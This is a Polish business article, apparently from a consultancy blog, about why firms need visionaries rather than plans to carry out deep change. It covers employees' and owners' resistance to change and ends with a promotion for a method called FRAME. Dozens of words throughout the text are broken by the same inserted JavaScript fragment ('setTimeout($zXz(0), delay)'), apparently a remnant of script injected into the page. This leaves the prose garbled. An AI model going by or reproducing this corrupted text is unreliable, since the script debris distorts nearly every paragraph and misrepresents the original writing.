In Artykuły, Handel, Uniwersalne

Firmy zwykle potrzebują zmian (choć rzadko się do tego przyznają, a zmieniają, gdy już naprawdę nie mają innego wyjścia). Dlatego też do ich inicjowania tych zmian potrzebują też wizjonerów. Równie mocno potrzebują ich do wdrażania zmian, choć tu już wydawałoby się, że wystarczy szef projektu.

Firmy do zmiany (is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totnej i strukturalnej, a nie usprawnienia) potrzebują wizjonerów wcale nie dlatego, że mają oni jakąś unikalną wiedzę czy najlepszą na świecie strategię działania. Tylko dlatego, że wizjoner ma odwagę. Ma też przekonanie do swojej wizji i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przekonanie daje mu determinację niezbędną do wdrożenia zamian. I do zmieniania zmian w trakcie. Inni częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mają lepszą nawet wiedzę, ale już i odwagi, i determinacji im brakuje. Tymczasem zmiany nie da się wprowadzić tylko wiedzą.

Uwaga. „wizja i plan”. Czy wizja jest zaprzeczeniem planu? Do pewnego s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topnia jednak tak. Plan dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to porządek, ale i zastąpienie chaotycznej i niedookreślonej wizji uporządkowanym (ale i skostniałym) planem. Ale także zastąpienie zaangażowania i determinacji wynagrodzeniem i zleceniem. Czy wobec tego należy zerwać z planowaniem i pójść na żywioł? Nie, planowanie jest niezbędne. Ale trzeba je włączyć we właściwym momencie (czyli niezbyt wcześnie). I dopiero wtedy, gdy wizja już się ukształtuje, zdobędzie zwolenników i się skrystalizuje. To naturalny moment aby zastąpić ją planem. Bo koniec końców bez planu się nie obejdzie..

To bolesna teza dla wielu konsultantów. Ich domeną jest bowiem wiedza, odwaga i determinacja dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jednak domena wizjonerów. Ich domeną jest też raczej plan, wizja dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to domena samej firmy. I o ile zarówno stworzenie planu, jak i zarzadzanie nim można z powodzeniem zlecić na zewnątrz, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już z wizją raczej się tego nie da. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wizja powinna poprzedzać plan. Dlatego też konsultan dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom tak trudno się przebić nawet z dobrym pomysłem i jeszcze lepszym planem. Bez wizji, determinacji i odwagi i tak nic z tego raczej nie będzie.

Uwaga. „czy w tworzeniu wizji można pomóc?” Jak najbardziej i konsultanci bardzo się tu przydadzą. Ale wesprą, podpowiedzą, zauważą. Pomogą sformułować. A w końcu przekują wizję na plan i projekt. Jednak faza wizji dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już domena samej firmy.

W ostatecznym rozrachunku ważniejsza jest właśnie odwaga i determinacja. Gdyż wizja i determinacja dają motywację do zmiany, jeśli coś się nie udaje. Jeśli pomysł na zmianę nie okazał się słuszny, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to można i trzeba go zmienić. Ale nie można zmienić potrzeby zmiany. A tu liczy się determinacja i odwaga. Braki wiedzy można nadrobić w trakcie. W dodatku zmiana raczej z założenia zetknie się ze sprzeciwem. Gdyż zmiana musi sobie z trudem dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torować drogę wśród niechęci. Zmiany po prostu prawie nikt nie lubi.

Uwaga. „benchmark”. Szczególnie konsultanci częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to posługują się tzw. benchmarkiem, doświadczeniem z innych firm. Zwykle takie doświadczenie jest wręcz od nich wymagane, może być wręcz warunkiem zatrudnienia. Zaangażowanie zaczyna się zwykle od pytania „a czy działał pan już dla kawiarni?” Tymczasem każdy jest inny, każda sytuacja jest inna i ślepe s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosowanie benchmarku wręcz może zaszkodzić.

Oczywiście doświadczenie się przyda. Ale na poziomie rozumienia modelu, zależności, prawidłowości. Benchmark dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to raczej tylko wytrych, uzasadnienie dla niezrozumienia i „łatwy sposób”. To, że u kogoś konwersja wynosi 13% wcale nie wynika, że 8% w innej firmie jest powodem do załamania. Każdy jest inny, działa w innym o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczeniu, a co najważniejsze, jego Model Biznesowy się przys dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosował (inaczej firma by nie przetrwała) do takiego właśnie wskaźnika. Gdyż jego zmiana dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie tylko korzyść, ale i koszt, wysiłek i zmiana reguł działania firmy.

Dlaczego mało k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to lubi zmiany?

Przede wszystkim dlatego, że zmian potrzebują bardziej firmy niż ich pracownicy. Ale inicjują je, wdrażają i modyfikują właśnie pracownicy. Zaś zmiana wprawdzie służy firmie, ale przeszkadza jej pracownikom. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na wszystkich szczeblach, jednych zmusza do nauki, innych do przyznanie się do błędu, a jeszcze innych zmusza do podjęcia nielubianego ryzyka.

Trzeba się uczyć. Zmiana zmienia. A skoro tak, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trzeba się uczyć od nowa, tego jak sobie radzić ze swoim (nowym?) stanowiskiem i (nowymi?) zadaniami. Tymczasem pracownikami z reguły rządzi wygoda. Zaś nauka nowych zasad dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zaprzeczenie tej wygody.

Trzeba się przyznać. Zmiana dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to w pewnym sensie zakwestionowanie tego, co robiło się do tej pory. To zaś firmowali jej menedżerowie, więc dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zakwestionowanie ich kompetencji. Oczywiście, zawsze można powiedzieć, że okoliczności się zmieniły, ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to niezbyt pocieszające dla au dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torów i wykonawców dotychczasowej linii. Częściowym wyjściem jest zainicjowanie zmiany przez samych menedżerów, jednak ci częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to czekają z tym do ostatniej chwili, odwlekając zmiany jak najdłużej. A czasem wręcz nie dostrzegając ich potrzeby.

Trzeba zaryzykować. Zmiana dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ryzyko. Zawsze przecież może się nie udać. Oczywiście kontynuowanie tego, co robiło się do tej pory, też może, ale nieznany diabeł zawsze jest groźniejszy od znanego. Więc zawsze można brnąć w dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co już się robi, w nadziei, że jakoś dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to będzie, zawsze przecież było.

Dlaczego właściciele nie ryzykują?

Przecież większość z nich kiedyś ryzykowała, cała działalność gospodarczy polega na podejmowaniu ryzyka? Tak, ale wtedy nie mieli czego bronić. Więc walczyli, ryzykowali, byli elastyczni. A teraz mają.

Tego, co już się ma. Już istniejącej organizacji, placówek, Centrali, pozycji na rynku. Ale i pracowników, częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przyjaciół, ustalonej struktury organizacyjnej.

Racji. W biznesie teoretycznie chodzi o pieniądze. Ale częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to bardziej chodzi o ego. O dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ma rację, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wszystko przewiedział i czyje rozwiązanie było najlepsze. Nawet jeśli dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to „lepsze” miałoby się odbić na firmie, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to interes osobisty zdominuje firmowy.

Uwaga. „ dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to atawizm”. W stadzie liczyła się pozycja. To ona decydowała o dostępie do pożywienia, do możliwości reprodukcji, do wygody. Wódz miał z tym wszystkim łatwiej niż szeregowi członkowie plemienia. Ponieważ zaś nasz sukces ewolucyjny nie polegał na szybkości, pazurach czy sile, tylko na mózgu, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dominował ten najsprytniejszy. To dalej jest oczywiście ważne, ale pojawił się podział pracy. Przedsiębiorstwo jest bardziej złożone niż horda polująca na mamuty. Ale rozwój psychiczny nie nadążył za społecznym i technicznym. I nadal staramy się być najmądrzejsi. Tymczasem Zarząd w firmie nie jest od wiedzy. Tylko od sukcesu. Sukcesu właściciela, a jeśli przy okazji także Zarządu, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nic nie szkodzi.

Jednej słusznej drogi. Firma osiągnęła sukces. A więc musiała coś robić dobrze, lepiej niż inne, inaczej by nie przetrwała. To rodzi przekonanie, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jedyna słuszna droga. I jej trzeba się trzymać.

Poza tym część właścicieli dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie przedsiębiorcy w znaczeniu stworzenia firmy, tylko inwes dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torzy.

Inwes dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torzy w już istniejących firmach, gdzie pojawiają się na pewnym etapie rozwoju. Czy tylko inwes dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torzy mniejszościowi (niekoniecznie wielkością pakietu, tylko wpływem operacyjnym na biznes) dokładający się do inwestycji prawdziwego przedsiębiorcy. A oni wszyscy wprawdzie też są uczestnikami gdy rynkowej, ale ich typowe ryzyko jest zupełnie innego rodzaju.

Nie jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ryzyko operacyjne, związane z prowadzeniem działalności, tylko inwestycyjne. To do takiego ryzyka są przyzwyczajeni i takie są go dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi podjąć. Inne jest im obce i raczej niemiłe. Tu wolą stawiać na „pewniaki”. To zaś oznacza sprawdzone gdzie indziej rozwiązania oraz sprawdzonych w tego rodzaju biznesie (i wcześniejszych dokonaniach) menedżerów. Tacy zaś nie będą eksperymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tować, tylko wdrażać dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co już (i tylko) znają.

Żeby coś zmienić trzeba ryzyko podjąć od nowa, tak jak przy zakładaniu przedsiębiorstwa. A nawet większe, gdyż teraz już jest wiele do stracenia, i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z każdego punktu widzenia, tak po stronie zasobów, jak i utrwalonej tradycją me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}todą działania. Zakładając jednak, że firma (czy tak naprawdę reprezentujący ją pracownicy czy właściciele) zdecydują się zaryzykować, nadal dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie wystarczy. Gdyż projek dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towana zmiana zamieni się raczej w bezpieczny projekt. Jeśli zmiana nie będzie zbyt głęboka, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wystarczy. To jednak zmiana na poziomie usprawnienia (też jak najbardziej się przyda). Ale jeśli rzeczywiście trzeba coś zmienić, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na miejscu projektu powinna raczej pojawić się wizja.

Wizja a projekt

Dlaczego wizja jest częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to lepsza niż projekt? Gdyż wizja prowadzi do zmiany a nie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topi ją w szczegółach i procedurach.

Wizja. Najpierw jest niezadowolenie. Z tego co jest. A następnie wizja, jak by dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mogło być. Bez szczegółów, czasem w sposób wewnętrznie sprzeczny. Ale innowacyjny, odważny, przełomowy.

Wizja ma jako swoją podstawę punkt końcowy, ale najczęściej nie ma ścieżki dojścia. I nawet ten punkt końcowy jest dość mgliście określony. Zaś paradoksalnie dla zmiany dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dobrze. Dzięki temu zmiana nie jest dogmatem, podlega modyfikacjom i dopasowaniu do zmiennej sytuacji i tego, jak przebiega jej wdrażanie.

Projekt. Tu wszystko wiadomo. Wiadomo co, kiedy, jak, za ile. K dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ma dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robić, co osiągnąć. Dobrze prowadzony i zaplanowany projekt powinien móc być rozliczony, tak na końcu, jak i w trakcie.

Z projektem jest inaczej niż z wizją. Ten ma bardzo określone ramy, ścieżkę dojścia, harmonogram, zasoby czy lidera. To wygląda dobrze, szczególnie dla firm przyzwyczajonych do sformalizowanego procesu budże dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towania. Tymczasem budże dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towanie sprawdza się w stabilnych warunkach rynkowych, gdzie zmiany (jeśli są), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to są powolne i przewidywalne. A dopasowanie może przebiegać w sposób systematyczny, zaplanowany, a przede wszystkim bez pośpiechu.

Wizjoner a lider projektu

Różnica między wizją a projektem wymusza różnice osobowości ich twórców.

Różnica między wizjonerem a liderem projektu jest tak fundamentalna, że trudno sobie wyobrazić, aby dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to była ta sama osoba. A nawet jeśli ta sama (tak bywa w małych firmach) dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to żeby być skuteczna, musi zrozumieć zmianę podstaw działania. Różnice jednak nie są tylko w samej osobowości. Oni działają w różnej rzeczywis dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości, z różnym celem i różnym horyzontem działania. Działają też w inny sposób, jeden musi coś stworzyć (wymyśleć), a drugi raczej wdrożyć, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to co stworzył tak naprawdę k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to inny.

Podsumowanie

Zmiany są zwykle firmie potrzebne. Ale najpierw musi się ona na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zdecydować (przekształcić częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nieuświadomioną potrzebę na określoną decyzję). Potem zaś musi tę decyzję wykonać. Jeśli zmiany są małe, na poziomie usprawnienia, zwykle nie ma potrzeby specjalnej motywacji (szczególnie jeśli menedżerowie sami inicjują te zmiany i mogą je sobie przypisać). Ale jeśli zmiany powinny być głębokie, zaś ich potrzeba jeszcze nie w pełni uświadomiona (ich potrzeba narasta powoli), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już jakiś rodzaj motywacji już by się przydał.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.